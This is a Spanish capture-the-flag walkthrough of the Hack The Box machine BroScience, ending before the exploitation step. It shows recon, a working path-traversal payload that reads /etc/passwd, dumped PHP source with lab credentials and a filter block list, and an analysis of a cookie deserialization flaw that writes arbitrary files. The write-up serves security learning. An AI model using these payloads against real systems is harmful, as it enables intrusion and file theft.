Contents

HackTheBox - BroScience

HackTheBox - BroScience

Informacion de la Maquina

BroScience expone un sitio web vulnerable por el cual realizamos la lectura de su codigo fuente, con ello registramos un usuario e identificamos una vulnerabilidad de ‘Deserialization’ que nos permitio la creacion y ’ejecucion’ de archivos PHP para darnos acceso a la maquina. En la base de datos del sitio descubrimos hashes que nos permitieron acceder a un segundo usuario. Finalmente tras realizar ‘Command Injection’ en el Common Name de un certificado expirado que es utilizado por un script de un cronjob logramos escalar privilegios.

DificultadMEDIO
OSLinux
Fecha de Salida2023-01-07
Makerbmdyy
First User Bloodjkr (0H 59M 18S)
First Root Bloodsnowscan (1H 38M 41S)
Rated Difficulty
Machine Matrix

Recon

nmap

nmap muestra multiples puertos abiertos: http (80), https (443) y ssh (22).

bash
 1# Nmap 7.93 scan initiated Mon Mar  6 18:00:41 2023 as: nmap -p22,80,443 -sV -sC -oN nmap_scan 10.10.11.195
 2Nmap scan report for 10.10.11.195
 3Host is up (0.068s latency).
 4
 5PORT    STATE SERVICE  VERSION
 622/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
 7| ssh-hostkey:
 8|   3072 df17c6bab18222d91db5ebff5d3d2cb7 (RSA)
 9|   256 3f8a56f8958faeafe3ae7eb880f679d2 (ECDSA)
10|_  256 3c6575274ae2ef9391374cfdd9d46341 (ED25519)
1180/tcp  open  http     Apache httpd 2.4.54
12|_http-title: Did not follow redirect to https://broscience.htb/
13|_http-server-header: Apache/2.4.54 (Debian)
14443/tcp open  ssl/http Apache httpd 2.4.54 ((Debian))
15| http-cookie-flags:
16|   /:
17|     PHPSESSID:
18|_      httponly flag not set
19| tls-alpn:
20|_  http/1.1
21|_http-title: BroScience : Home
22| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT
23| Not valid before: 2022-07-14T19:48:36
24|_Not valid after:  2023-07-14T19:48:36
25|_http-server-header: Apache/2.4.54 (Debian)
26|_ssl-date: TLS randomness does not represent time
27Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
28
29Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
30# Nmap done at Mon Mar  6 18:01:01 2023 -- 1 IP address (1 host up) scanned in 19.87 seconds

Web Site

El sitio web redirige hacia el dominio broscience.htb.

bash
1┌─[kirby@parrot]─[~/htb/broscience]
2└──╼ $curl -sI 10.10.11.195
3HTTP/1.1 301 Moved Permanently
4Date: Fri, 17 Feb 2023 16:51:59 GMT
5Server: Apache/2.4.54 (Debian)
6Location: https://broscience.htb/
7Content-Type: text/html; charset=iso-8859-1

Se muestra una lista de articulos, en cada uno, se muestra el autor.

image

Se utilizan las imagenes como valor del parametro path a la pagina img.php.

bash
 1<div class="uk-card uk-card-default ">
 2    <div class="uk-card-media-top">
 3        <img src="includes/img.php?path=seated_rows.png" width="600" height="600" alt="">
 4    </div>
 5    <div class="uk-card-body">
 6        <a href="exercise.php?id=3" class="uk-card-title">Seated Rows</a>
 7        <p>If you want to target your lats, seated rows are a great exercise to do so. There are machines where... <a href="exercise.php?id=3">keep reading</a></p>
 8    </div>
 9    <div class="uk-card-footer">
10        <p class="uk-text-meta">Written by <a class="uk-link-text" href="user.php?id=2">bill</a> 9 months ago</p>
11    </div>
12</div>

Creamos un wordlist con los cuatro autores en la lista de articulos.

bash
1 π ~/htb/broscience ❯ curl -sk https://broscience.htb/ | grep user.php| cut -d '>' -f3 | tr -d '</'| sort -u | uniq > users.txt
2 π ~/htb/broscience ❯ cat users.txt
3administratora
4billa
5johna
6michaela
7 π ~/htb/broscience ❯

Directory Brute Forcing

feroxbuster muestra multiples paginas y los ‘directorios’ /include, /images y /manual.

bash
 1┌─[kirby@parrot]─[~/htb/broscience/dotdotpwn]
 2└──╼ $feroxbuster -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u https://broscience.htb -k --depth 2 -x php
 3
 4 ___  ___  __   __     __      __         __   ___
 5|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
 6|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
 7by Ben "epi" Risher 🤓                 ver: 2.3.3
 8───────────────────────────┬──────────────────────
 9 🎯  Target Url            │ https://broscience.htb
10 🚀  Threads               │ 50
11 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
12 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
13 💥  Timeout (secs)        │ 7
14 🦡  User-Agent            │ feroxbuster/2.3.3
15 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
16 💲  Extensions            │ [php]
17 🔓  Insecure              │ true
18 🔃  Recursion Depth       │ 2
19 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
20───────────────────────────┴──────────────────────
21 🏁  Press [ENTER] to use the Scan Cancel Menu™
22──────────────────────────────────────────────────
23301        9l       28w      319c https://broscience.htb/images
24200      147l      510w        0c https://broscience.htb/index.php
25200       42l       97w     1936c https://broscience.htb/login.php
26200       45l      104w     2161c https://broscience.htb/register.php
27200       29l       70w     1309c https://broscience.htb/user.php
28302        1l        3w       13c https://broscience.htb/comment.php
29301        9l       28w      321c https://broscience.htb/includes
30200        1l        4w       39c https://broscience.htb/includes/img.php
31301        9l       28w      319c https://broscience.htb/manual
32301        9l       28w      326c https://broscience.htb/manual/images
33301        9l       28w      322c https://broscience.htb/manual/en
34200        5l       14w      369c https://broscience.htb/includes/header.php
35301        9l       28w      322c https://broscience.htb/manual/de
36301        9l       28w      322c https://broscience.htb/manual/fr
37301        9l       28w      322c https://broscience.htb/manual/es
38301        9l       28w      323c https://broscience.htb/javascript
39302        0l        0w        0c https://broscience.htb/logout.php
40301        9l       28w      322c https://broscience.htb/manual/tr

El ‘directorio’ /includes muestra multiples paginas .php, entre ellas img.php.

image

Web App

Al visitar cada una de las paginas encontramos que img.php espera el parametro path tal y como lo observamos anteriormente.

image

La respuesta del servidor parece intentar retornar una imagen.

bash
1 π ~/htb/broscience ❯ curl -skI "https://broscience.htb/includes/img.php?path=something"
2HTTP/1.1 200 OK
3Date: Mon, 06 Mar 2023 23:16:13 GMT
4Server: Apache/2.4.54 (Debian)
5Content-Type: image/png
6
7 π ~/htb/broscience ❯

Directory Traversal

Al intentar pasarle la direccion de un archivo completo nos muestra un mensaje.

bash
1 π ~/htb/broscience ❯ curl -sk "https://broscience.htb/includes/img.php?path=../../../../../etc/passwd"
2<b>Error:</b> Attack detected.
3 π ~/htb/broscience ❯

Utilizamos [dotdotpwn][https://github.com/wireghoul/dotdotpwn] que nos permite crear multiples ‘payloads’ para realizar directory traversal. Observamos que encontro un payload funcional para el archivo /etc/passwd.

bash
 1┌─[kirby@parrot]─[~/htb/broscience/dotdotpwn]
 2└──╼ $./dotdotpwn.pl -m http-url -u https://broscience.htb/includes/img.php?path=TRAVERSAL -k "root:" -t .2 -q
 3
 4[.. snip ..]
 5
 6[========== TARGET INFORMATION ==========]
 7[+] Hostname: broscience.htb
 8[+] Protocol: https
 9[+] Port: 443
10
11[=========== TRAVERSAL ENGINE ===========]
12[+] Creating Traversal patterns (mix of dots and slashes)
13[+] Multiplying 6 times the traversal patterns (-d switch)
14[+] Creating the Special Traversal patterns
15[+] Translating (back)slashes in the filenames
16[+] Adapting the filenames according to the OS type detected (unix)
17[+] Including Special sufixes
18[+] Traversal Engine DONE ! - Total traversal tests created: 11052
19
20[=========== TESTING RESULTS ============]
21[+] Ready to launch 5000.00 traversals per second
22[+] Press Enter to start the testing (You can stop it pressing Ctrl + C)
23
24[+] Replacing "TRAVERSAL" with the traversals created and sending
25. . . . . . . . 
26[*] Testing URL: https://broscience.htb/includes/img.php?path=..%252f..%252f..%252f..%252fetc%252fpasswd <- VULNERABLE
27
28[*] Testing URL: https://broscience.htb/includes/img.php?path=..%252f..%252f..%252f..%252f..%252fetc%252fpasswd <- VULNERABLE
29
30[*] Testing URL: https://broscience.htb/includes/img.php?path=..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd <- VULNERABLE
31. . . . . . . . . . ^C
32[+] Total Traversals found: 3
33
34[.. snip ..]

Observamos que retorna el contenido del archivo, en el archivo /etc/passwd encontramos al usuario bill.

bash
 1 π ~/htb/broscience ❯ curl -sk "https://broscience.htb/includes/img.php?path=..%252f..%252f..%252f..%252fetc%252fpasswd" | head
 2root:x:0:0:root:/root:/bin/bash
 3daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
 4bin:x:2:2:bin:/bin:/usr/sbin/nologin
 5sys:x:3:3:sys:/dev:/usr/sbin/nologin
 6sync:x:4:65534:sync:/bin:/bin/sync
 7games:x:5:60:games:/usr/games:/usr/sbin/nologin
 8man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
 9lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
10mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
11news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
12 π ~/htb/broscience ❯
13 π ~/htb/broscience ❯ curl -sk "https://broscience.htb/includes/img.php?path=..%252f..%252f..%252f..%252fetc%252fpasswd" |grep home
14bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
15 π ~/htb/broscience ❯

Reading Local Files

Con ello logramos obtener el codigo fuente de los archivos php dentro del directorio /includes y en el directorio ‘principal’. Observamos que existe un ‘filtro’ en el parametro path para los caracteres ../ y otras dos strings.

php
 1//img.php
 2<?php
 3if (!isset($_GET['path'])) {
 4    die('<b>Error:</b> Missing \'path\' parameter.');
 5}
 6
 7// Check for LFI attacks
 8$path = $_GET['path'];
 9
10$badwords = array("../", "etc/passwd", ".ssh");
11foreach ($badwords as $badword) {
12    if (strpos($path, $badword) !== false) {
13        die('<b>Error:</b> Attack detected.');
14    }
15}
16
17// Normalize path
18$path = urldecode($path);
19
20// Return the image
21header('Content-Type: image/png');
22echo file_get_contents('/var/www/html/images/' . $path);
23?>

Encontramos credenciales en la conexion de la base de datos.

php
 1//db_connect.php
 2<?php
 3$db_host = "localhost";
 4$db_port = "5432";
 5$db_name = "broscience";
 6$db_user = "dbuser";
 7$db_pass = "RangeOfMotion%777";
 8$db_salt = "NaCl";
 9
10$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");
11
12if (!$db_conn) {
13    die("<b>Error</b>: Unable to connect to database");
14}
15?>

En el archivo navbar observamos que obtiene el nombre de la clase del tema (linea 6) y muestra el nombre de usuario, si esta o no logeado.

php
 1//navbar.php
 2<?php
 3include_once "includes/utils.php";
 4?>
 5
 6<nav class="uk-navbar-container uk-margin uk-navbar-transparent <?=get_theme_class()?>">
 7    <div class="uk-container uk-container-expand">
 8        <div class="uk-navbar" uk-navbar>
 9            <div class="uk-navbar-left">
10                <a href="/" class="uk-navbar-item uk-logo">BroScience</a>
11            </div>
12            <div class="uk-navbar-right">
13                <?php
14                // Check if user is logged in
15                if (isset($_SESSION['id'])) {
16                    echo '<div class="uk-navbar-item"><a href="swap_theme.php" class="uk-link-text"><span uk-icon="icon: paint-bucket"></span></a></div>';
17                    echo "<div class=\"uk-navbar-item\">Logged in as <a class=\"uk-link-text\" href=\"user.php?id={$_SESSION['id']}\"><b>".htmlspecialchars($_SESSION['username'],ENT_QUOTES,'UTF-8')."</b></a></div>";
18                    echo '<ul class="uk-navbar-nav"><li><a href="logout.php">Log Out</a></li></ul>';
19                } else {
20                    echo '<ul class="uk-navbar-nav"><li><a href="login.php">Log In</a></li></ul>';
21                }
22                ?>
23            </div>
24        </div>
25    </div>
26</nav>

User, muestra la informacion de cada usuario segun el valor del parametro id.

php
  1//user.php
  2<?php
  3session_start();
  4
  5// Is it a proper request?
  6if (isset($_GET['id'])) {
  7    if (!empty($_GET['id'])) {
  8        if (filter_var($_GET['id'], FILTER_VALIDATE_INT)) {
  9            include_once 'includes/db_connect.php';
 10            $res = pg_prepare($db_conn, "get_user_query", 'SELECT username, email, is_activated::int, is_admin::int, date_created FROM users WHERE id = $1');
 11            $res = pg_execute($db_conn, "get_user_query", array($_GET['id']));
 12
 13            if (pg_num_rows($res) > 0) {
 14                $row = pg_fetch_row($res);
 15            } else {
 16                $alert = "No user with that ID";
 17            }
 18        } else {
 19            $alert = "Invalid ID value";
 20        }
 21    } else {
 22        $alert = "Empty ID value";
 23    }
 24} else {
 25    $alert = "Missing ID value";
 26}
 27?>
 28
 29<html>
 30    <head>
 31        <title>BroScience : <?php if (isset($row)) {echo htmlspecialchars($row[0],ENT_QUOTES,'UTF-8');} else {echo "View user";}?></title>
 32        <?php 
 33        include_once 'includes/header.php';
 34        include_once 'includes/utils.php';
 35        $theme = get_theme();
 36        ?>
 37        <link rel="stylesheet" href="styles/<?=$theme?>.css">
 38    </head>
 39    <body class="<?=get_theme_class($theme)?>">
 40        <?php include_once 'includes/navbar.php'; ?>
 41        <div class="uk-container uk-container-xsmall">
 42            <?php
 43            // Display any alerts
 44            if (isset($alert)) {
 45            ?>
 46            <div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>">
 47                    <a class="uk-alert-close" uk-close></a>
 48                    <?=$alert?>
 49                </div>
 50            <?php
 51            }
 52            if (isset($row)) {
 53            ?>
 54                <h1 class="uk-heading-small"><?=htmlspecialchars($row[0],ENT_QUOTES,'UTF-8')?></h1>
 55                <!-- TODO: Avatars -->
 56                <dl class="uk-description-list">
 57                    <dt>Member since</dt>
 58                    <dd><?=rel_time($row[4])?></dd>
 59                    <dt>Email Address</dt>
 60                    <dd><?=$row[1]?></dd>
 61                    <dt>Total exercises posted</dt>
 62                    <dd>
 63                        <?php
 64                        $res = pg_prepare($db_conn, "get_num_exercises_query", 'SELECT COUNT(*) FROM exercises WHERE author_id = $1');
 65                        $res = pg_execute($db_conn, "get_num_exercises_query", array($_GET['id']));
 66                        $row2 = pg_fetch_row($res);
 67                        echo $row2[0];
 68                        ?>
 69                    </dd>
 70                    <dt>Total comments posted</dt>
 71                    <dd>
 72                        <?php
 73                        $res = pg_prepare($db_conn, "get_num_comments_query", 'SELECT COUNT(*) FROM comments WHERE author_id = $1');
 74                        $res = pg_execute($db_conn, "get_num_comments_query", array($_GET['id']));
 75                        $row3 = pg_fetch_row($res);
 76                        echo $row3[0];
 77                        ?>
 78                    </dd>
 79                    <dt>Is activated</dt>
 80                    <dd>
 81                        <?=(bool)$row[2]?'Yes':'No'?>
 82                    </dd>
 83                    <dt>Is admin</dt>
 84                    <dd>
 85                        <?=(bool)$row[3]?'Yes':'No'?>
 86                    </dd>
 87                </dl>
 88            <?php 
 89                // Check if we are logged in
 90                if (isset($_SESSION['id'])) {
 91                    if ($_SESSION['id'] === $_GET['id'] || $_SESSION['is_admin']) {
 92                        // We are logged in as this user, add the edit form
 93                        ?>
 94                        <hr>
 95                        <form class="uk-form-stacked" method="POST" action="update_user.php">
 96                            <fieldset class="uk-fieldset">
 97                                <legend class="uk-legend">Edit User</legend>
 98                                <div class="uk-margin">
 99                                    <input name="username" class="uk-input" type="text" placeholder="New username">
100                                </div>
101                                <div class="uk-margin">
102                                    <input name="email" class="uk-input" type="email" placeholder="New email">
103                                </div>
104                                <div class="uk-margin">
105                                    <input name="password" class="uk-input" placeholder="New password">
106                                </div>
107                                <div class="uk-margin">
108                                    <button class="uk-button uk-button-default" type="submit">Update</button>
109                                </div>
110                                <input type="hidden" name="id" value="<?=$_GET['id']?>">
111                            </fieldset>
112                        </form>
113                        <?php
114                    }
115                }
116            }
117            ?>
118        </div>
119    </body>
120</html>

Obseravamos la informacion del usuario con id 1 en el navegador.

image

Vemos en comment que, agrega un nuevo comentario a un post, verificando primero que el usuario este logeado.

php
 1//comment.php
 2<?php
 3session_start();
 4
 5// Check if user is not logged in
 6if (!isset($_SESSION['id'])) {
 7    header('Location: /login.php');
 8    echo "Not logged in";
 9    die();
10}
11
12// Check that all parameters are filled out
13if (!isset($_POST['content']) || !isset($_POST['exercise_id'])) {
14    header('Location: /index.php');
15    echo "Missing parameters";
16    die();
17}
18
19// Check that parameters are not empty
20if (empty($_POST['content']) || empty($_POST['exercise_id'])) {
21    header('Location: /index.php');
22    echo "Empty parameters";
23    die();
24}
25
26// Add the comment
27include_once 'includes/db_connect.php';
28
29$res = pg_prepare($db_conn, "add_comment_query", 'INSERT INTO comments (exercise_id, author_id, content) VALUES ($1, $2, $3)');
30$res = pg_execute($db_conn, "add_comment_query", array($_POST['exercise_id'], $_SESSION['id'], $_POST['content']));
31
32header("Location: /exercise.php?id={$_POST['exercise_id']}");
33echo "Comment posted";
34?>

En register observamos las validaciones del registro de un nuevo usuario, destaca la funcion de codigo de activacion (generate_activation_code()) al registrar un nuevo usuario, el cual se activa en la direccion https://broscience.htb/activate.php?code=<codigo>, el codigo de activacion es enviado aparentemente por email pero no se muestra alguna funcionalidad como esta.

php
  1//register.php
  2<?php
  3session_start();
  4
  5// Check if user is logged in already
  6if (isset($_SESSION['id'])) {
  7    header('Location: /index.php');
  8}
  9
 10// Handle a submitted register form
 11if (isset($_POST['username']) && isset($_POST['email']) && isset($_POST['password']) && isset($_POST['password-confirm'])) {
 12    // Check if variables are empty
 13    if (!empty($_POST['username']) && !empty($_POST['email']) && !empty($_POST['password']) && !empty($_POST['password-confirm'])) {
 14        // Check if passwords match
 15        if (strcmp($_POST['password'], $_POST['password-confirm']) == 0) {
 16            // Check if email is too long
 17            if (strlen($_POST['email']) <= 100) {
 18                // Check if email is valid
 19                if (filter_var($_POST['email'], FILTER_VALIDATE_EMAIL)) {
 20                    // Check if username is valid
 21                    if (strlen($_POST['username']) <= 100) {
 22                        // Check if user exists already    
 23                        include_once 'includes/db_connect.php';
 24
 25                        $res = pg_prepare($db_conn, "check_username_query", 'SELECT id FROM users WHERE username = $1');
 26                        $res = pg_execute($db_conn, "check_username_query", array($_POST['username']));
 27                        
 28                        if (pg_num_rows($res) == 0) {
 29                            // Check if email is registered already
 30                            $res = pg_prepare($db_conn, "check_email_query", 'SELECT id FROM users WHERE email = $1');
 31                            $res = pg_execute($db_conn, "check_email_query", array($_POST['email']));
 32
 33                            if (pg_num_rows($res) == 0) {
 34                                // Create the account
 35                                include_once 'includes/utils.php';
 36                                $activation_code = generate_activation_code();
 37                                $res = pg_prepare($db_conn, "check_code_unique_query", 'SELECT id FROM users WHERE activation_code = $1');
 38                                $res = pg_execute($db_conn, "check_code_unique_query", array($activation_code));
 39
 40                                if (pg_num_rows($res) == 0) {
 41                                    $res = pg_prepare($db_conn, "create_user_query", 'INSERT INTO users (username, password, email, activation_code) VALUES ($1, $2, $3, $4)');
 42                                    $res = pg_execute($db_conn, "create_user_query", array($_POST['username'], md5($db_salt . $_POST['password']), $_POST['email'], $activation_code));
 43
 44                                    // TODO: Send the activation link to email
 45                                    $activation_link = "https://broscience.htb/activate.php?code={$activation_code}";
 46
 47                                    $alert = "Account created. Please check your email for the activation link.";
 48                                    $alert_type = "success";
 49                                } else {
 50                                    $alert = "Failed to generate a valid activation code, please try again.";
 51                                }
 52                            } else {
 53                                $alert = "An account with this email already exists.";
 54                            }
 55                        }
 56                        else {
 57                            $alert = "Username is already taken.";
 58                        }
 59                    } else {
 60                        $alert = "Maximum username length is 100 characters.";
 61                    }
 62                } else {
 63                    $alert = "Please enter a valid email address.";
 64                }
 65            } else {
 66                $alert = "Maximum email length is 100 characters.";
 67            }
 68        } else {
 69            $alert = "Passwords do not match.";
 70        }
 71    } else {
 72        $alert = "Please fill all fields in.";
 73    }
 74}
 75?>
 76
 77<html>
 78    <head>
 79        <title>BroScience : Register</title>
 80        <?php include_once 'includes/header.php'; ?>
 81    </head>
 82    <body>
 83        <?php include_once 'includes/navbar.php'; ?>
 84        <div class="uk-container uk-container-xsmall">
 85            <form class="uk-form-stacked" method="POST" action="register.php">
 86                <fieldset class="uk-fieldset">
 87                    <legend class="uk-legend">Register</legend>
 88                    <?php
 89                    // Display any alerts
 90                    if (isset($alert)) {
 91                    ?>
 92                    <div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>">
 93                            <a class="uk-alert-close" uk-close></a>
 94                            <?=$alert?>
 95                        </div>
 96                    <?php
 97                    }
 98                    ?>
 99                    <div class="uk-margin">
100                        <input name="username" class="uk-input" placeholder="Username">
101                    </div>
102                    <div class="uk-margin">
103                        <input name="email" class="uk-input" type="email" placeholder="Email">
104                    </div>
105                    <div class="uk-margin">
106                        <input name="password" class="uk-input" type="password" placeholder="Password">
107                    </div>
108                    <div class="uk-margin">
109                        <input name="password-confirm" class="uk-input" type="password" placeholder="Repeat password">
110                    </div>
111                    <div class="uk-margin">
112                        <button class="uk-button uk-button-default" type="submit">Register</button>
113                    </div>
114                </fieldset>
115            </form>
116        </div>
117    </body>
118</html>

Como se menciono, no se muestra el codigo de activacion al registrar un nuevo usuario.

image

Login, permite la autenticacion de los usuarios por medio de un formulario.

php
 1//login.php
 2<?php
 3session_start();
 4
 5// Check if user is logged in already
 6if (isset($_SESSION['id'])) {
 7    header('Location: /index.php');
 8}
 9
10// Handle a submitted log in form
11if (isset($_POST['username']) && isset($_POST['password'])) {
12    // Check if variables are empty
13    if (!empty($_POST['username']) && !empty($_POST['password'])) {    
14        include_once 'includes/db_connect.php';
15        
16        // Check if username:password is correct
17        $res = pg_prepare($db_conn, "login_query", 'SELECT id, username, is_activated::int, is_admin::int FROM users WHERE username=$1 AND password=$2');
18        $res = pg_execute($db_conn, "login_query", array($_POST['username'], md5($db_salt . $_POST['password'])));
19        
20        if (pg_num_rows($res) == 1) {
21            // Check if account is activated
22            $row = pg_fetch_row($res);
23            if ((bool)$row[2]) {
24                // User is logged in
25                $_SESSION['id'] = $row[0];
26                $_SESSION['username'] = $row[1];
27                $_SESSION['is_admin'] = $row[3];
28
29                // Redirect to home page
30                header('Location: /index.php');
31            } else {
32                $alert = "Account is not activated yet";
33            }
34        } else {
35            $alert = "Username or password is incorrect.";
36        }
37    } else {
38        $alert = "Please fill in both username and password.";
39    }
40}
41?>
42
43<html>
44    <head>
45        <title>BroScience : Log In</title>
46        <?php include_once 'includes/header.php'; ?>
47    </head>
48    <body>
49        <?php include_once 'includes/navbar.php'; ?>
50        <div class="uk-container uk-container-xsmall">
51            <form class="uk-form-stacked" method="POST" action="login.php">
52                <fieldset class="uk-fieldset">
53                    <legend class="uk-legend">Log In</legend>
54                    <?php
55                    // Display any alerts
56                    if (isset($alert)) {
57                    ?>
58                    <div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>">
59                            <a class="uk-alert-close" uk-close></a>
60                            <?=$alert?>
61                        </div>
62                    <?php
63                    }
64                    ?>
65                    <div class="uk-margin">
66                        <input name="username" class="uk-input" placeholder="Username">
67                    </div>
68                    <div class="uk-margin">
69                        <input name="password" class="uk-input" type="password" placeholder="Password">
70                    </div>
71                    <div class="uk-margin">
72                        <button class="uk-button uk-button-default" type="submit">Log in</button>
73                    </div>
74                    <div class="uk-margin">
75                        <a href="register.php">Create an account</a>
76                    </div>
77                </fieldset>
78            </form>
79        </div>
80    </body>
81</html>

Activate, es el encargado de obtener un codigo de activacion, de ser correcto, activa al usuario con ese codigo. De no ser valido, muestra un mensaje de error, tal y como se muestra en la imagen.

php
 1// activate.php
 2<?php
 3session_start();
 4
 5// Check if user is logged in already
 6if (isset($_SESSION['id'])) {
 7    header('Location: /index.php');
 8}
 9
10if (isset($_GET['code'])) {
11    // Check if code is formatted correctly (regex)
12    if (preg_match('/^[A-z0-9]{32}$/', $_GET['code'])) {
13        // Check for code in database
14        include_once 'includes/db_connect.php';
15
16        $res = pg_prepare($db_conn, "check_code_query", 'SELECT id, is_activated::int FROM users WHERE activation_code=$1');
17        $res = pg_execute($db_conn, "check_code_query", array($_GET['code']));
18
19        if (pg_num_rows($res) == 1) {
20            // Check if account already activated
21            $row = pg_fetch_row($res);
22            if (!(bool)$row[1]) {
23                // Activate account
24                $res = pg_prepare($db_conn, "activate_account_query", 'UPDATE users SET is_activated=TRUE WHERE id=$1');
25                $res = pg_execute($db_conn, "activate_account_query", array($row[0]));
26                
27                $alert = "Account activated!";
28                $alert_type = "success";
29            } else {
30                $alert = 'Account already activated.';
31            }
32        } else {
33            $alert = "Invalid activation code.";
34        }
35    } else {
36        $alert = "Invalid activation code.";
37    }
38} else {
39    $alert = "Missing activation code.";
40}
41?>
42
43<html>
44    <head>
45        <title>BroScience : Activate account</title>
46        <?php include_once 'includes/header.php'; ?>
47    </head>
48    <body>
49        <?php include_once 'includes/navbar.php'; ?>
50        <div class="uk-container uk-container-xsmall">
51            <?php
52            // Display any alerts
53            if (isset($alert)) {
54            ?>
55                <div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>">
56                    <a class="uk-alert-close" uk-close></a>
57                    <?=$alert?>
58                </div>
59            <?php
60            }
61            ?>
62        </div>
63    </body>
64</html>

image

En utils encontramos distintas funciones y clases:

  1. funciones
  • generate_activation_code
  • rel_time
  • get_theme
  • get_theme_class
  • set_theme
  1. clases
  • UserPrefs
  • Avatar
  • AvatarInterface
php
  1<?php
  2function generate_activation_code() {
  3    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
  4    srand(time());
  5    $activation_code = "";
  6    for ($i = 0; $i < 32; $i++) {
  7        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
  8    }
  9    return $activation_code;
 10}
 11
 12// Source: https://stackoverflow.com/a/4420773 (Slightly adapted)
 13function rel_time($from, $to = null) {
 14    $to = (($to === null) ? (time()) : ($to));
 15    $to = ((is_int($to)) ? ($to) : (strtotime($to)));
 16    $from = ((is_int($from)) ? ($from) : (strtotime($from)));
 17
 18    $units = array
 19    (
 20        "year"   => 29030400, // seconds in a year   (12 months)
 21        "month"  => 2419200,  // seconds in a month  (4 weeks)
 22        "week"   => 604800,   // seconds in a week   (7 days)
 23        "day"    => 86400,    // seconds in a day    (24 hours)
 24        "hour"   => 3600,     // seconds in an hour  (60 minutes)
 25        "minute" => 60,       // seconds in a minute (60 seconds)
 26        "second" => 1         // 1 second
 27    );
 28
 29    $diff = abs($from - $to);
 30
 31    if ($diff < 1) {
 32        return "Just now";
 33    }
 34
 35    $suffix = (($from > $to) ? ("from now") : ("ago"));
 36
 37    $unitCount = 0;
 38    $output = "";
 39
 40    foreach($units as $unit => $mult)
 41        if($diff >= $mult && $unitCount < 1) {
 42            $unitCount += 1;
 43            // $and = (($mult != 1) ? ("") : ("and "));
 44            $and = "";
 45            $output .= ", ".$and.intval($diff / $mult)." ".$unit.((intval($diff / $mult) == 1) ? ("") : ("s"));
 46            $diff -= intval($diff / $mult) * $mult;
 47        }
 48
 49    $output .= " ".$suffix;
 50    $output = substr($output, strlen(", "));
 51
 52    return $output;
 53}
 54
 55class UserPrefs {
 56    public $theme;
 57
 58    public function __construct($theme = "light") {
 59                $this->theme = $theme;
 60    }
 61}
 62
 63function get_theme() {
 64    if (isset($_SESSION['id'])) {
 65        if (!isset($_COOKIE['user-prefs'])) {
 66            $up_cookie = base64_encode(serialize(new UserPrefs()));
 67            setcookie('user-prefs', $up_cookie);
 68        } else {
 69            $up_cookie = $_COOKIE['user-prefs'];
 70        }
 71        $up = unserialize(base64_decode($up_cookie));
 72        return $up->theme;
 73    } else {
 74        return "light";
 75    }
 76}
 77
 78function get_theme_class($theme = null) {
 79    if (!isset($theme)) {
 80        $theme = get_theme();
 81    }
 82    if (strcmp($theme, "light")) {
 83        return "uk-light";
 84    } else {
 85        return "uk-dark";
 86    }
 87}
 88
 89function set_theme($val) {
 90    if (isset($_SESSION['id'])) {
 91        setcookie('user-prefs',base64_encode(serialize(new UserPrefs($val))));
 92    }
 93}
 94
 95class Avatar {
 96    public $imgPath;
 97
 98    public function __construct($imgPath) {
 99        $this->imgPath = $imgPath;
100    }
101
102    public function save($tmp) {
103        $f = fopen($this->imgPath, "w");
104        fwrite($f, file_get_contents($tmp));
105        fclose($f);
106    }
107}
108
109class AvatarInterface {
110    public $tmp;
111    public $imgPath; 
112
113    public function __wakeup() {
114        $a = new Avatar($this->imgPath);
115        $a->save($this->tmp);
116    }
117}
118?>

Activation_Code

Vemos que la funcion para el codigo de activacion, utiliza caracteres y digitos, el codigo de activacion tiene una longitud de 32 caracteres.

La funcion srand() toma como valor un entero, en este caso el valor de time(), en el ciclo for utiliza rand() para obtener un caracter “random”, el ciclo termina hasta crear una string de 32 caracteres y retornarlo.

Como se observa en la ejecucion, el codigo de activacion es diferente segun el valor de time(), sabiendo la hora exacta de la ejecucion de la funcion es posible generar el codigo de activacion.

image

Deserialization & Serialization

En las funciones set_theme() y get_theme() encontramos que utiliza las funciones de serialize() y unserialize().

  • En la primera establece una nueva cookie (en el caso de que el usuario este logeado) en base64 serializando un objeto de la clase UserPrefs().
  • En el segundo caso es similar, si observamos en la condicional verifica que no exista una cookie, en caso contrario, toma esta y la deserializa obteniendo el valor del tema.

En este ultimo caso es posible manipular la cookie y pasar un objeto serializado modificado.

Por ultimo tenemos las clases Avatar y AvatarInterface, las cuales permiten guardar un archivo en una direccion dada, con el uso de file_get_contents() es posible pasar una direccion URL. Tambien vemos la “magic function” __wakeup la cual se ejecuta cada vez que un objeto es deserializado, en este caso ejecuta la funcion save() para guardar un archivo.

Con lo anterior, es posible manipular una cookie que es deserializada y, con los objetos Avatar y AvatarInterface crear un archivo, al juntar estos dos nos permitiria realizar “deserialization attack”.

User - www-data

Como sabemos durante la ceracion de un usuario es necesario activar la cuenta, pero el codigo de activacion nunca se nos muestra o envia. Para generar nuestro codigo es necesario sincronizar la hora de nuestra maquina con la del servidor.

Clock synchro

